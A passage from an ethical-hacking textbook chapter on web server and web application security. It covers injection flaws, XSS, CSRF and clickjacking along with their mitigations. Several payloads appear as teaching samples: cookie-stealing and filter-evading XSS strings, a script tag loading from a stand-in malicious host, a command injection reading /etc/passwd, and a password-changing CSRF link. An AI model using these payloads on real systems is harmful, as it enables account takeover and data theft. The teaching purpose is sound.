Patching, hardening, and keeping the web server updated are the most common ways to address the issues related to IIS. Just keep in mind that even up-to-date Windows 2012 IIS 8.x servers are not immune to attack. The attacker might also look beyond the web server to the application or other services that are running on the system. Several other items to secure include the following:

  • Failure to use encryption: If HTTP access is possible, this will permit clear-text connections to the server.

  • Insecure version of encryption: If SSL version 3 is enabled, it may facilitate the Padding Oracle on Downgraded Legacy (POODLE) man-in-the-middle attack. The Nmap script to detect this vulnerability is

Click here to view code image

nmap -sV --version-light --script ssl-poodle -p 443 <host>
  • Allowing cross-frame scripting: This can make clickjacking possible by tricking users into clicking something other than what they think they’re clicking by combining malicious JavaScript with an iframe that loads a legitimate page designed to steal data from an unsuspecting user.

Remember that with any of these attacks, the attacker’s activity is stored in the log files. So, expect him to attempt to remove or alter the log files. If logging has been enabled, you will most likely have a record of the attacker’s IP address.

Note

One useful attack tool is WFetch. It allows the attacker to fully customize HTTP requests and examine how the web server responds.

Finally, keep in mind that it’s not only the web server that is vulnerable to attack. Any service the attack can access is a potential target. Tools such as Metasploit may be used to launch buffer-overflow attacks. This includes the web application and the database, as discussed later in this chapter.

Comments in Source Code

Often, developers include information in the source code of their applications that could provide too much information; and such information could be leveraged by an attacker. These include providing details about a system password, API credentials, or any other sensitive information that could be used by an attacker.

Note

MITRE created a standard called the Common Weakness Enumeration (CWE). CWEs are identifiers that are given to security malpractices or the under-lying weakness that introduce vulnerabilities. CWE-615: “Information Exposure Through Comments” covers the flaw described in this section. You can obtain details about CWE-615 at https://cwe.mitre.org/data/definitions/615.html.

Lack of Error Handling and Overly Verbose Error Handling

Improper error handling is a type of weakness and security malpractice that can provide information to an attacker that will help him/her perform additional attacks on the targeted system. Error messages, such as error codes, database dumps, and stack traces, can provide valuable information to the attacker. The attacker can learn about potential flaws in the applications that could be further exploited.

A best practice is to handle error messages according to a well-thought out scheme that will provide a meaningful error message to the user, diagnostic information to developers and support staff, and no useful information to an attacker.

Tip

OWASP has detailed examples of error codes that can be leveraged by an attacker at https://www.owasp.org/index.php/Testing_for_Error_Code_%28OTG-ERR-001%29. OWASP also has additional guidance about improper error handling at https://www.owasp.org/index.php/Improper_Error_Handling.

Hard-Coded Credentials

Hard-coded credentials are catastrophic flaws that an attacker could leverage to completely compromise an application or the underlying system. MITRE covers this malpractice (or weakness) in CWE-798. You can obtain detailed information about CWE-798 at https://cwe.mitre.org/data/definitions/798.html.

Race Conditions

A race condition takes place when a system or application attempts to perform two or more operations at the same time. However, because of the nature of such a system or application, the operations must be done in the proper sequence to be done correctly. When an attacker exploits such a vulnerability, he or she has a small window of time between when a security control takes effect and when the attack is performed. The attack complexity in race condition situations is very high. In other words, race condition attacks are very difficult to exploit.

Note

Race conditions are also referred to as Time of Check/Time of Use or TOC/TOU attacks.

An example of a race condition is when a security management system pushes a configuration to a device (such as a firewall or IPS system) to rebuild access control lists and rules from the system. An attacker might have a very small time window where it could bypass those security controls until they take effect on the managed device.

Unprotected APIs

Image

Application Programming Interfaces (APIs) are used everywhere these days. A large number of modern applications use some type of APIs because they make access available to other systems to interact with the application. Unfortunately, many APIs lack adequate controls and are difficult to monitor. The breadth and complexity of APIs also make it difficult to automate effective security testing. There are few methods or technologies behind modern APIs.

  • Simple Object Access Protocol (SOAP): SOAP is a standards-based web services access protocol that was originally developed by Microsoft and has been used by numerous legacy applications for many years. SOAP exclusively uses XML to provide API services. XML-based specifications are governed by XML Schema Definition (XSD) documents. SOAP was originally created to replace older solutions such as the Distributed Component Object Model (DCOM) and Common Object Request Broker Architecture (CORBA). You can find the latest SOAP specifications at https://www.w3.org/TR/soap.

  • Representational State Transfer (REST): REST is an API standard that is easier to use than SOAP. It uses JSON instead of XML, and it uses standards like Swagger and the OpenAPI Specification (https://www.openapis.org) for ease of documentation and to help with adoption.

  • GraphQL and queryable APIs: This is another query language for APIs that provides many developer tools. GraphQL is now used for many mobile applications and online dashboards. Many languages support GraphQL. You can learn more about GraphQL at https://graphql.org/code.

Note

SOAP and REST share similarities over the HTTP protocol; SOAP limits itself to a stricter set of API messaging patterns than REST.

APIs often provide a roadmap describing the underlying implementation of an application. This can give penetration testers valuable clues that could lead to attack vectors they might otherwise overlook. API documentation can provide a great level of detail that can be very valuable to a penetration tester. These types of documentation include the following:

  • Swagger (OpenAPI): Swagger is a modern framework of API documentation and is now the basis of the OpenAPI Specification (OAS). Additional information about Swagger can be obtained at https://swagger.io. The OAS specification is available at https://github.com/OAI/OpenAPI-Specification.

  • Web Services Description Language (WSDL) documents: WSDL is an XML-based language that is used to document the functionality of a web service. The WSDL specification can be accessed at https://www.w3.org/TR/wsdl20-primer.

  • Web Application Description Language (WADL) documents: WADL is also an XML-based language for describing web applications. The WADL specification can be obtained from https://www.w3.org/Submission/wadl.

When performing a pen testing against an API, collect full requests using a proxy (for example, Paros Proxy, Burp Suite, or OWASP ZAP). Ensuring that the proxy is able to collect full API requests and not just URLs is important because REST, SOAP, and other API services utilize more than just GET parameters.

When you are analyzing the collected requests, look for nonstandard parameters and abnormal HTTP headers. You also want to determine whether a URL segment has a repeating pattern across other URLs. These patterns can include a number or an ID, dates, and other valuable information. Inspect the results and look for structured parameter values in JSON, XML or even in nonstandard structures.

Tip

If you notice that a URL segment has many values, it might be because it is a parameter and not a folder or directory in the web server. For example, if the URL http://web.h4cker.org/s/xxxx/page repeats with a different value for xxxx (such as http://web.h4cker.org/s/dead/page or http://web.h4cker.org/s/beef/page), those changing values most definitely are API parameters.

You can also utilize fuzzing to find API vulnerabilities (or vulnerabilities in any application or system). According to OWASP, “Fuzz testing or Fuzzing is a black box software testing technique, which basically consists in finding implementation bugs using malformed/semi-malformed data injection in an automated fashion.”

Note

Refer to the OWASP Fuzzing page to understand the different types of fuzzing techniques against protocols, applications, and other systems. See https://www.owasp.org/index.php/Fuzzing.

When testing APIs, you should always analyze the collected requests to optimize fuzzing. After you find potential parameters to fuzz, determine the valid and invalid values that you want to send to the application. Of course, fuzzing should focus on invalid values. For example, you could focus on sending a GET or PUT with large values, special characters, Unicode, and so on. Tools like Radamsa (https://gitlab.com/akihe/radamsa) that can be used to create fuzzing parameters for you to test applications, protocols, and more.

Tip

OWASP has a REST Security Cheat Sheet that provides numerous best practices on how to secure RESTful (REST) APIs at https://www.owasp.org/index.php/REST_Security_Cheat_Sheet.

The following are several general best practices and recommendations to secure APIs:

  • Secure API services to provide only HTTPS endpoints with a strong version of TLS. For instance, insecure versions of TLS (such as TLS 1.0) should not be used.

  • Validate parameters in the application and sanitize incoming data from API clients.

  • Explicitly scan for common attack signatures; injection attacks often betray themselves by following common patterns.

  • Use strong authentication and authorization standards.

  • Use reputable and standard libraries to create the APIs.

  • Segment API implementation and API security into distinct tiers, which will free an API developer to focus completely on the application domain.

  • Identify what data should be publicly available and what is sensitive information.

  • If possible, the API code verification should be done by a security expert.

  • Internal API documentation should be mandatory.

  • Discussing company API development on public forums should be avoided. This also applies to any application development of your organization.

Note

CWE-227, “API Abuse,” covers unsecured APIs. Detailed information about CWE-227 can be accessed at https://cwe.mitre.org/data/definitions/227.html.

Hidden Elements

Web application parameter tampering attacks can be executed by manipulating parameters exchanged between the web client and the web server to modify application data. This could be achieved by manipulating cookies (as previously discussed in this chapter) and by abusing hidden form fields.

You might be able to tamper the values stored by a web application in hidden form fields. Let’s take a look at the hidden HTML form field shown in the example that follows. Suppose this is part of an e-commerce site selling merchandise to online customers.

<input type="hidden" name="price" value="100.00">

In the hidden field shown in this example, you can potentially edit the “value” information to lower the price of an item. Not all hidden fields are bad. In some cases, they are useful for the application, and they can even be used to protect against CSRF attacks.

Lack of Code Signing

Code signing is similar to the process used for SSL/TLS certificates. A key pair is used (one public and one private) to identify and authenticate the software engineer (developer) and his or her code. This is done by employing trusted certificate authorities (CAs). Developers sign their applications and libraries using their private keys. If the software or library is modified after signing, the public key in a system will be unable to verify the authenticity of the developer’s private key signature.

Sub-resource Integrity (SRI) is a security feature that allows you to provide a hash of a file fetch by a web browser (client). SRI verifies file integrity and ensures such files are delivered without any tampering or manipulation by an attacker.

Automated Exploit Tools

Automated exploit tools can also be used to attack web servers. These tools allow you to exploit a suspected vulnerability. That’s right—these tools can actually offer one-click exploitation.

Metasploit is one of the most well-known exploitation frameworks. Metasploit allows you to enter an IP address and port number of a target machine and run the chosen exploit against the target machine quite easily. Metasploit can have the victim connect back to you, open a command shell on the victim, or allow you to execute code on the victim. After you have a shell on the victim, you are only a few short steps away from making yourself a privileged user.

Note

Visit https://www.offensive-security.com/metasploit-unleashed/ for comprehensive online training on the Metasploit Framework.

Another automated exploit tool is the Browser Exploitation Framework (BeEF). BeEF can be downloaded from https://beefproject.com/ and it comes by default in several penetration testing Linux distributions, such as Kali Linux, Parrot, and BlackArch. BeEF is a powerful exploit framework that is focused on leveraging browser vulnerabilities to assess the security posture of a target. Just as many penetration testers use proxies such as Burp Proxy and OWASP Zed Application Proxy (ZAP), BeEF takes this a step further by directly targeting the web browser.

You can think of browser exploitation as a method of taking advantage of vulnerabilities in the browser software to modify specific settings without the knowledge of the end user. The Browser Exploit Framework allows penetration testers to select specific modules to target each browser in a one-two-three approach. First, a target is selected. After selecting a target, the user can load a specific module used for attack. The Load Modules area shows which modules are available for use and, after a module is selected, enables the code to be sent to the targeted browser. After the module loads, the vulnerability can be exploited.

For example, one module is used to target the way Apple computers insecurely handle URL schemes when initiating a Skype outbound call. If successful, BeEF will initiate a Skype call without the end user’s permission. This is just one example of BeEF’s capabilities, but it demonstrates the power of the tool and how security professionals and penetration testers can use it to test for client-side vulnerabilities. Other modules include browser overflows, cross-site scripting, keylogging, and clipboard theft. Just keep in mind that these tools can also be used to target web applications and databases.

Here’s a quick overview of a few other automated exploit tools:

  • Canvas: An automated attack and penetration tool developed by Dave Aitel of Immunity (https://immunityinc.com/). It was written in Python, so it is portable to Windows and Linux. It’s a commercial tool that can provide the security professional with attack and penetration capabilities. Like Metasploit, it is not a complete all-in-one tool. It does not do an initial discovery, so you must add your targets manually. It’s cleaner and more advanced that Metasploit, but it does require that you purchase a license. However, this does provide you with updates and support. Overall, this is a first-rate tool for someone with penetration and assessment experience.

  • Core Impact: An advanced commercial penetration testing tool suite (https://www.coresecurity.com/core-impact). Core Impact is a mature point-and-click automated exploit and assessment tool. It’s a complete package that steps the user through the process, starting at scanning and continuing through the exploit and control phase. One unique trait of the product is that it supports a feature known as pivoting, which, in basic terms, allows a compromised machine to be used to compromise another. This tool is useful for everyone from the novice to the seasoned security professional.

Securing Web Servers

Securing web servers requires that you apply some defense-in-depth techniques. Here are six good defenses to get you started:

  1. Harden before you deploy.

  2. Exercise good patch management.

  3. Disable unneeded services.

  4. Lock down the file system.

  5. Log and audit.

  6. Perform ongoing scanning for vulnerabilities.

Harden Before Deploying

First, before you deploy web servers into your network, you must ensure that the network is safe and protected. It is recommended practice to have the server fully hardened before you plug it into the network.

Patch Management

Second, apply all patches. Security patches and updates are critical to ensuring that the operating system and the web server are running with the latest files and fixes. An unpatched server can suffer a multitude of attacks that target well-known exploits and vulnerabilities. You’ve seen a variety of these in the previous section. It is vital for you to keep your system patches up-to-date. No matter what tool you use, it is most important to implement automated patch management. Examples of such tools to accomplish this include the following:

  • Windows Server Update Services: This tool enables the deployment of the latest Microsoft product updates to Windows desktop, mobile, and server operating systems.

  • GFI LanGuard: This tool helps you remotely manage hotfixes and patches.

Disable Unneeded Services

Third, disable unneeded services. Web servers have a variety of services that can run in the background to provide continuous functionality or features to the operating system. As an example, WebDAV allows clients to perform remote web content authoring operations. It provides a framework for users to create, change, and move documents on a web server. However, attackers can use WebDAV to store a malicious version of a DLL file in the WebDAV share. If the user can be tricked into opening it, the malicious DLL will execute code under the context of that user. Therefore, by disabling unwanted services, you can reduce the attack surface of the IIS server. The following tools help disable unwanted services:

  • Microsoft Security Compliance Toolkit: This is a tool that will scan Microsoft systems for common security misconfigurations.

  • IIS Lockdown: This is another great tool from Microsoft that scans older IIS servers and turns off unnecessary features. It will suggest the types of security controls that are built in to the latest version of the IIS web server.

  • SoapUI: SoapUI is used for web services testing of protocols such as HTTP, SOAP, JSM, REST, WADL, WSDL, and others.

  • Retina CS: A commercial vulnerability and patch management tool from BeyondTrust.

Tip

The NSA has a great selection of hardening guidelines at https://apps.nsa.gov/iaarchive/.

Lock Down the File System

Fourth, lock down the file system. Use encryption and enable file-level security, which will allow full access control at the folder and/or file levels. File-level security is the last level of access control before a request is fulfilled by the operating system.

Log and Audit

Fifth, perform logging to keep track of activity on your web server. Auditing allows you to understand and detect any unusual activity. Although auditing is not a preventive measure, it does provide valuable information about the access activity on your IIS server. Logging can provide you with details such as when, where, and how the access occurred and whether the request was successfully processed or rejected by the server.

Provide Ongoing Vulnerability Scans

Sixth, perform ongoing scanning for vulnerabilities. So many new vulnerabilities are discovered daily, which makes keeping up difficult. To combat these problems, ethical hackers can benefit from automated assessment tools. Automated tools allow the ethical hacker to cover a lot of ground quickly and use the results for further manual inspection. These solutions also have different usability and interfaces, which range from command-line interface (CLI) to graphical user interface (GUI) products. These products can also be divided into further categories; some are free, and others are available for purchase or are run through a subscription service. Some examples of these tools include the following:

  • Nessus: A comprehensive, cross-platform vulnerability scanner that offers both a CLI and a GUI. Nessus has a client/server architecture, with clients available for UNIX, Linux, and Windows, and servers available for UNIX, Linux, and Windows (commercial). Nessus is a powerful and flexible security scanning and auditing tool. It takes a basic “nothing for granted” approach. For example, an open port does not necessarily mean that a service is active. Nessus tells you what is wrong and provides suggestions for fixing a given problem. It also detects many types of plug-ins, ranging from harmless to those that can bring down a server.

  • Acunetix Web Vulnerability Scanner: This commercial scanner provides industry-respected vulnerability scanning and identification of web server, web application, and SQL injection issues. It has a web-based interface and features advanced penetration testing tools such as HTTP fuzzing and Ajax testing. It is certified Common Vulnerabilities and Exposures (CVE) compliant and allows you to prioritize and rank vulnerabilities to let you determine the most critical security issues that you should tackle first.

  • Netsparker: This system-level scanner performs a comprehensive vulnerability scan. It’s compliant with SANS Top 20 and supports CVE references for identified vulnerabilities.

  • IBM AppScan: This is a commercial product available from IBM. The package provides extensive web vulnerability scanning and identification across network platforms and devices.

  • Retina CS: It provides vulnerability scanning across systems and network devices. It is fast and can discover wired and wireless devices. Retina has a GUI, and its deployment platform is Windows.

  • GFI LanGuard: A full-service scanner that reports information such as the service pack level of each machine, missing security patches, open shares, open ports, services/applications active on the computer, key Registry entries, weak passwords, users and groups, and more.

Web Application Hacking

Today, web servers are much more secure than in the past, so attackers are more likely to target the web application. One of the biggest challenges to remediating identified vulnerabilities for internally developed web applications is a simple lack of resources. The developers who created the application are most likely already working on another project. Time is money for many companies today. If application development is outsourced, or if you use a commercial product, any identified vulnerabilities for the web application might not have an easy fix, because the users most likely will not be able to modify the source code themselves and must wait on the vendor to address the vulnerability.

Web application hacking requires the attacker to uncover applications and to understand their logic. The best way to start is by clicking through the site and spending some time examining its look and feel. You might have already copied the entire site and stored it locally. If so, now you want to start some serious source sifting to see what you can find. Pay special attention to how input is passed, what types of error messages are returned, and the types of input that various fields will accept. After that, you can start to identify the underlying applications, and the search for vulnerabilities can begin. If the application is a commercial product, the attacker can check for known vulnerabilities or begin to probe the application. Some ways in which the web application can be attacked include unvalidated input, parameter/form tampering, injection flaws, cross-site scripting and cross-site request forgery attacks, hidden field attacks, attacking web-based authentication, web-based password cracking and authentication attacks, and intercepting web traffic. These are discussed in the next two sections.

Unvalidated Input

This vulnerability occurs when the input from a client is not validated before being processed. There is no such thing as trusted input: All user controller input is evil and therefore must be tested. Sometimes input controls are placed solely in the web browser. If that situation is true, attackers just have to use tools such as OWASP Zed Application Proxy (ZAP) or Burp Proxy to inject their own input. For example, you might go to a website that has an order entry form, configure Burp Proxy, and then pass the completed entry form to Burp Proxy. You can then alter the shopping cart total and click Continue. If the back-end application does not check the values being passed, you might be able to successfully alter them. In the hands of an attacker, the result can be data alteration, theft, or even system malfunctions.

Parameter/Form Tampering

This attack occurs with the manipulation of parameters passed between the client and the web application. Consider the following URL:

http://store.h4cker.org/Login.asp?w=i&o=1295

Tampering with the URL parameters as follows may allow for a change in price, quantity, permissions, or level of access to a web application:

http://store.h4cker.org/Login.asp?w=i&o=1337

Injection Flaws

Image

Injection flaws are a type of vulnerability that allows for untrusted data to be executed and interpreted as a valid command. Injection attacks are launched by constructing malicious commands or queries. Common targets of injection flaws include the following:

  • SQL injection: A vulnerability that allows an attacker to influence the Structured Query Language (SQL) queries that an application passes to a back-end database.

  • Command injection: This attack is designed to inject and execute commands specified by the attacker in the vulnerable application. Command injection attacks occur because of lack of correct input data validation, which also can be manipulated by the attacker (forms, cookies, HTTP headers, and so on). As an example, with Linux, you can execute two commands by typing one after another: #cmd1 && cmd2. Therefore, a vulnerable application could execute www.google.com && cat /etc/passwd.

  • File injection: An attacker injects a remotely hosted file to exploit vulnerable scripts. For example, a file that is designed to search the Web at the URL application.php?name=CEH would result in the display of a web page containing the word CEH. However, using the characters CEH; netcat 1.10/nc.c would execute two statements within the exec() function. The second statement is a malicious attempt to download nc.c to the victim host. Scanners and fuzzers can help attackers find file injection flaws.

  • LDAP injection: Lightweight Directory Access Protocol (LDAP) services run on TCP port 389, and SSL services run on TCP port 636. Poorly designed and coded web services are likely to be compromised via unvalidated web application input that passes LDAP commands used to access the database behind the LDAP tree.

  • XML injection: Similar to SQL injection, XML injection is generally achieved through XPath injection in a web services application. An XPath injection attack targets an XML document rather than an SQL database. The attacker inputs a string of malicious code meant to allow the application to provide unvalidated access to protected information. For example, if an XML statement is included in an application request to place an order for a stick of RAM, the attacker can attempt to modify the request by replacing RAM with RAM</item><price>10.00</price><item>RAM. The new XML would look like this:

<order> <price>100.00</price> <item>RAM</item><price>10.00</
price><item>RAM</item> </order>

Because of poor validation, the value from the second <price> tag overrides the value from the first <price> tag and enables the attacker to purchase some additional $100 RAM for only $10.

Understanding Cross-site Scripting (XSS) Vulnerabilities

Image

Cross-site Scripting (commonly known as XSS) has become one of the most common web application vulnerabilities and can be achieved via the following attack types:

  • Reflected XSS

  • Stored (persistent) XSS

  • DOM-based XSS

Successful exploitation could result in installation or execution of malicious code, account compromise, session cookie hijacking, revelation or modification of local files, or site redirection.

Note

The results of XSS attacks are the same regardless of the vector.

You typically find XSS vulnerabilities in the following:

  • Search fields that echo a search string back to the user

  • HTTP headers

  • Input fields that echo user data

  • Error messages that return user-supplied text

  • Hidden fields that may include user input data

  • Applications (or websites) that display user-supplied data

The following example demonstrates an XSS test that can be performed from a browser’s address bar.

javascript:alert("Omar_s_XSS test");
javascript:alert(document.cookie);

The following example demonstrates an XSS test that can be performed in a user input field (web form).

<script>alert("XSS Test")</script>

Tip

Attackers can use obfuscation techniques in XSS attacks by encoding tags or malicious portions of the script using the Unicode method so that the link or HTML content is disguised to the end user browsing the site.

Reflected XSS

Reflected XSS attacks (nonpersistent XSS) occur when malicious code or scripts are injected by a vulnerable web application using any method that yields a response as part of a valid HTTP request. An example of a reflected XSS attack is when a user is persuaded to follow a malicious link to a vulnerable server that injects (reflects) the malicious code back to the user’s browser. This causes the browser to execute the code or script. In this case, the vulnerable server is usually a known or trusted site.

Tip

Examples of methods of delivery for XSS exploits are via phishing emails, messaging applications, or search engines.

Figure 7-10 illustrates the steps of an example of a reflected XSS attack.

A figure illustrates the steps of a reflected XSS attack.

Figure 7-10 A Reflected XSS Attack

Following are the steps illustrated in Figure 7-10:

Step 1. The attacker finds a vulnerability in the web server.

Step 2. The attacker sends a malicious link to the victim.

Step 3. The attacker clicks the malicious link, and the attack is sent to the vulnerable server.

Step 4. The attack is reflected to the victim and is executed.

Step 5. The victim sends information (depending on the attack) to the attacker.

Tip

Practice XSS scenarios with WebGoat. You can easily test a reflected XSS by using the following link (replacing localhost with the hostname or IP address of the system running WebGoat): http://localhost:8080/WebGoat/CrossSiteScripting/ attack5a?QTY1=1&QTY2=1&QTY3=1&QTY4=1&field1=<script>alert (‘some_javascript’)</script>4128+3214+0002+1999&field2=111.

Stored XSS

Stored XSS vulnerabilities are referred to as persistent XSS. Stored or persistent XSS vulnerabilities occur when the malicious code or script is permanently stored on a vulnerable or malicious server using a database. Stored XSS vulnerabilities are typically found in websites hosting blog posts (comment forms), web forums, or any other permanent storage method. An example of a stored XSS attack is when a user requests the stored information from the vulnerable or malicious server. Then the stored XSS vulnerability causes the injection of the requested malicious script into the victim’s browser. In this type of attack, the vulnerable server is usually a known or trusted site.

A stored XSS attack is demonstrated in Figures 7-11 and 7-12. In Figure 7-11, the DVWA is used. A user enters the string <script>alert(“Omar was here!”)</script> in the second form field.

A screenshot of Damn Vulnerable Web Application is shown selected with XSS (stored) option. The window has ID text box, submit button, and more information links.

Figure 7-11 A Stored XSS Attack Example

A screenshot shows a dialog box appearing over the Damn Vulnerable Web Application window after the successful execution of XSS attack.

Figure 7-12 Dialog Appearing After the Example Stored XSS Attack Is Successful

After clicking the Sign Guestbook button, the dialog box shown in Figure 7-12 appears. The attack persists because even if you navigate out of the page and return to that same page, the dialog box will continue to pop up.

In this example, the dialog box message is “Omar was here!” However, in a real attack, you can present the users with any other text to persuade them to perform a specific action. For example, you can display “your password has expired” or “please login again.” You could then redirect users to another site or steal their credentials when they try to change their passwords or log in a second time to the fake application.

DOM-based XSS

DOM stands for Document Object Model, and it is a cross-platform and language-independent application programming interface that treats an HTML, XHTML, or XML document as a tree structure. DOM-based is a type of reflected XSS that is triggered by sending a link with inputs that are reflected to the web browser. In DOM-based XSS, the payload is never sent to the server. Instead, the payload is only processed by the web client (browser).

In DOM-based XSS attacks, the attacker sends a malicious URL to the victim, and after the victim clicks the link, the URL might load a malicious website or a site that has a vulnerable DOM route handler. After the vulnerable site is rendered by the browser, the payload executes the attack in the user’s context on that site.

One of the effects of any type of XSS attacks is that the victim typically does not realize that the attack has taken place.

Tip

DOM-based applications use global variables to manage client-side information. Often, developers create unsecured applications that put sensitive information in the DOM. This sensitive information includes elements like tokens, public profile URLs, private URLs for information access, cross-domain OAuth values, and even user credentials as variables. It is a best practice to not store any sensitive information in the DOM when building web applications.

XSS Evasion Techniques

Numerous techniques can be used to evade XSS protections and security products like web application firewalls (WAFs). One of the best resources that includes dozens of XSS evasion techniques is the OWASP XSS Filter Evasion Cheat Sheet located at https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet.

Instead of listing all the different evasion techniques outlined by OWASP, let’s review some of the most popular ones.

First let’s take a look at an XSS JavaScript injection, which will be detected by most XSS filters and security solutions, as demonstrated in the following example:

<SCRIPT SRC=http://malicious.h4cker.org/xss.js></SCRIPT>

The following example shows how the HTML img tag is used in several ways to potentially evade XSS filters:

<img src="javascript:alert('xss');">
<img src=javascript:alert('xss')>
<img src=javascript:alert(&quot;XSS&quot;)>
<img src=javascript:alert('xss')>

You can also use other malicious HTML tags (such as <a> tags), as demonstrated here:

<a onmouseover="alert(document.cookie)">This is a malicious link</a>
<a onmouseover=alert(document.cookie)>This is a malicious link</a>

You can also use a combination of hexadecimal HTML character references to potentially evade XSS filters as demonstrated here:

<img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&
#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

You can use US-ASCII encoding to bypass content filters and evade other security controls. However, it works only if the system transmits in US-ASCII encoding or if you set the encoding yourself. This technique is useful against web application firewalls (WAFs). The following example demonstrates the use of US-ASCII encoding to evade WAFs:

¼script¾alert(¢XSS¢)¼/script¾

The following example demonstrates an evasion technique using the HTML embed tags embedding a Scalable Vector Graphics (SVG) file:

<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH
A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv
MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs
aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw
IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxl
cnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml"
AllowScriptAccess="always"></EMBED>

Tip

The OWASP XSS Filter Evasion Cheat Sheet includes dozens of additional examples. Please refer to the cheat sheet to become familiar with several other evasion techniques at https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet.

XSS Mitigations

One of the best resources that lists several mitigations against XSS attacks and vulnerabilities is the OWASP Cross-Site Scripting Prevention Cheat Sheet, which can be found at https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet.

According to OWASP, following are the general rules to prevent XSS attacks:

  • Use an Auto-Escaping template system.

  • Never insert untrusted data except in allowed locations.

  • Use the escape syntax for the part of the HTML document you’re putting untrusted data into.

  • Attribute escape before inserting untrusted data into HTML common attributes.

  • JavaScript escape before inserting untrusted data into JavaScript data values.

  • CSS escape and strictly validate before inserting untrusted data into HTML style property values.

  • URL escape before inserting untrusted data into HTML URL parameter values.

  • Sanitize HTML markup with a library like ESAPI to protect the underlying application.

  • Prevent DOM-based XSS following OWASP’s recommendations at https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet.

  • Use the HTTPOnly cookie flag.

  • Implement Content Security Policy.

  • Use the X-XSS-Protection response header.

You should also convert untrusted input into a safe form where the input is displayed as data to the user. Converting such input to a safe form prevents execution of the input as code in the browser. XSS controls are now available in modern web browsers.

Perform the following HTML Entity Encoding:

  • Convert & to &amp;

  • Convert < to &lt;

  • Convert > to &gt;

  • Convert to &quot;

  • Convert to &#x27;

  • Convert / to &#x2F;

The following are additional best practices to prevent XSS:

  • You should also escape all characters (except for alphanumeric characters) with the HTML Entity &#xHH; format, including spaces. (HH = Hex Value.)

  • URL encoding should only be used to encode parameter values, not the entire URL or path fragments of a URL.

  • Escape all characters (except for alphanumeric characters), with the uXXXX Unicode escaping format (X = Integer).

  • CSS escaping supports XX and XXXXXX. Add a space after the CSS escape or use the full amount of CSS escaping possible by zero padding the value.

  • Educate users about safe browsing to reduce the risk that users will be victims of XSS attacks.

XSS controls are now available in modern web browsers.

Understanding Cross-site Request Forgery Vulnerabilities and Related Attacks

Image

Cross-site request forgery (CSRF or XSRF) attacks occur when unauthorized commands are transmitted from a user that is trusted by the application. CSRF is different from XSS because it exploits the trust that an application has in a user’s browser.

Note

CSRF vulnerabilities are also referred to as “one-click attacks” or “session riding.”

CSRF attacks typically affect applications (or websites) that rely on a user’s identity. Attackers can trick the user’s browser into sending HTTP requests to a target website. An example of a CSRF attack is when a user who is authenticated by the application by a cookie saved in the browser could unwittingly send an HTTP request to a site that trusts the user, subsequently triggering an unwanted action.

Figure 7-13 shows an example of a CSRF attack using the DVWA vulnerable application.

A screenshot of Damn Vulnerable Web Application is shown selected with CSRF option. The window has two textboxes for entering the new password and confirming the new password, a button labeled change, and more information links.

Figure 7-13 Example of a CSRF Attack

In Figure 7-13, a web form is displayed, asking the user to change her password. If you take a closer look at the URL in Figure 7-13, it contains the parameters

password_new=test&password_conf=test&Change=Change#

The password is displayed in the URL after the user entered it in the web form. Because the application allows you to do this, you can easily send a crafted link to any user to change his password, as shown here:

http://192.168.78.8:66/vulnerabilities/csrf/?password_
new=newpasswd&password_conf= newpasswd &Change=Change#

If the user follows that link, his password will be changed to newpasswd.

Note

CSRF mitigations and defenses are implemented on the server side. You can learn about several techniques to prevent or mitigate CSRF vulnerabilities at http://seclab.stanford.edu/websec/csrf/csrf.pdf.

Understanding Clickjacking

Clickjacking is when you use multiple transparent or opaque layers to induce a user into clicking on a web button or link on a page that she had not planned to navigate or click. Clickjacking attacks are often referred to as UI redress attacks. User keystrokes can also be hijacked using clickjacking techniques. You can launch a clickjacking attack using a combination of CSS stylesheets, iframes, and text boxes to fool the user to enter information or click links in an invisible frame that could be rendered from a site you created.

According to OWASP, the following are the two most common techniques to prevent and mitigate clickjacking:

  • Send the proper Content Security Policy (CSP) frame-ancestors directive response headers that instruct the browser not to allow framing from other domains. (This replaces the older X-Frame-Options HTTP headers.)

  • Use defensive code in the application to make sure that the current frame is the top-level window.

Note

The OWASP “Clickjacking Defense Cheat Sheet” provides additional details about how to defend against clickjacking attacks. The cheat sheet can be accessed at https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet.

Other Web Application Attacks

Application developers should never assume that users will input the correct data. A user bent on malicious activity will attempt to stretch the protocol or an application in an attempt to find possible vulnerabilities. Parameter problems are best solved by implementing pre-validation and post-validation controls. Pre-validation is implemented in the client but can be bypassed by using proxies and other injection techniques. Post-validation is performed to ensure the program’s output is correct.

One major category of problems that has existed for many years is buffer overflows. Buffer overflows are categorized into two types: heap and stack. A heap is a memory space that is dynamically allocated. A buffer is a temporary data storage area whose length is defined in the program that creates it or by the operating system. Heap-based buffer overflows are different from stack-based buffer overflows in that the stack-based buffer overflow depends on overflowing a fixed-length buffer. A heap overflow is a type of buffer overflow that occurs in the heap data area and attempts to overwrite internal structures such as linked list pointers.

Buffers have a finite amount of space allocated for any one task. For example, if you allocate a 24-character buffer and then attempt to stuff 32 characters into it, you’re going to have a real problem. Ideally, programs should be written to check that you cannot stuff 32 characters into a 24-character buffer. However, this type of error checking does not always occur. Error checking is really nothing more than making sure that buffers receive the type and amount of information required.

The easiest way to prevent buffer overflows is to stop accepting data when the buffer is filled. This task can be accomplished by adding boundary protection. C programs are especially susceptible to buffer-overflow attacks because C has many functions that do not properly check for boundaries. Table 7-2 lists functions in the C language that are vulnerable to buffer overflows.

Table 7-2 Common C Functions Vulnerable to Buffer Overflow

Function

Description

strcpy

Copies the content pointed by src to dest, stopping after the terminating null character is copied

fgets

